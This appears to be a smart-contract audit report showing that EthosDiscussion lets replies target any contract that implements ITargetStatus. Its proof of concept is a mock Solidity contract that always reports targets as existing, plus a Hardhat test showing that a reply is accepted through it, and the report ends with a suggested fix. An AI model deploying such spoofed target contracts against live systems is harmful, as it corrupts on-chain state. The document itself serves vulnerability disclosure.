009.md

Active Taffy Hornet

Medium

EthosDiscussion::_checkIfTargetExistsAndAllowed does not sufficiently checks if the target contract is from ethos contracts

Summary

The EthosDiscussion::_checkIfTargetExistsAndAllowed will allow anyone to use their own contract as target contract given they implement the ITargetStatus.sol interface which would lead the unwanted side effects such as increase of replyCount, Reply creation, event emission and replying to non-existent items

Root Cause

The EthosDiscussion::_checkIfTargetExistsAndAllowed lacks checks to verify if the target contract is valid.

  function _checkIfTargetExistsAndAllowed(address targetContract, uint256 targetId) private view {
@>  (bool exists, ) = ITargetStatus(targetContract).targetExistsAndAllowedForId(targetId); // @audit - no valid targetContract check as well as it unlocks the potential of re-entrancy.

    if (!exists) {
      revert TargetNotFound(targetContract, targetId);
    }
  }

The developer docs in EthosDiscussion contract state:

@dev The EthosDiscussion contract enables users to leave text-based comments on virtually any activity item within the network.
These include vouches, attestations, reviews, profiles, or even other comments. Comments can be viewed and created through the Ethos app.

Which contradicts the intended behaviour.

Internal pre-conditions

1. Attacker needs to have a valid profile.

External pre-conditions

1. Attacker needs to deploy a contract of his own which implements the ITargetStatus.sol interface

Attack Path

1. Attacker will call the addReply function with a targetId and targetContract of his own.

Impact

This leads to unwanted side effects such as increase of replyCount, Reply creation as well as event emission on actions which are potentially being made outside of the intended Ethos contracts. Also allows to add reply to non-existent items.

PoC

The contract MaliciousTargetContract.sol given below was added inside the contracts/mocks

// File: MaliciousTargetControl.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import { ITargetStatus } from "./../interfaces/ITargetStatus.sol";

contract MaliciousTargetContract is ITargetStatus {

    // Ensuring we comply with the ITargetStatus
    function targetExistsAndAllowedForId(
        uint256 _targetId
    ) external view returns (bool exists, bool allowed) {

        return (true, true);
    }

}

In the file EthosDiscussion.test.ts add the below line in the deployFixture function

    const maliciousTargetContract = await ethers.deployContract('MaliciousTargetContract', []);

and then proceed to export it at the end.

    return {
     // rest of the exports
      maliciousTargetContract
    };

Add the following test case:

  describe('addReply', () => {

    // Rest of the test cases

    it('should add reply to a contract outside of Ethos ecosystem', async () => {
      const {
        ethosProfile,
        maliciousTargetContract,
        COMMENTER_0,
        OWNER,
        ethosDiscussion,
      } = await loadFixture(deployFixture);

      // add reply
      await ethosProfile.connect(OWNER).inviteAddress(COMMENTER_0.address);
      await ethosProfile.connect(COMMENTER_0).createProfile(1);
      await expect(
        ethosDiscussion
          .connect(COMMENTER_0)
          .addReply(maliciousTargetContract, 0, defaultReplyContent, defaultReplyMetadata),
      )
        .to.emit(ethosDiscussion, 'ReplyAdded')
      
      expect(await ethosDiscussion.replyCount()).to.equal(1);

    })
  });

This test case would pass proving the vulnerability.

Mitigation

Consider adding a isValidTarget modifier similar to given below:

  modifier isValidTarget(address target) {
    if (!contractAddressManager.checkIsEthosContract(target)) {
      revert InvalidTargetContract(target);
    }
    _;
  }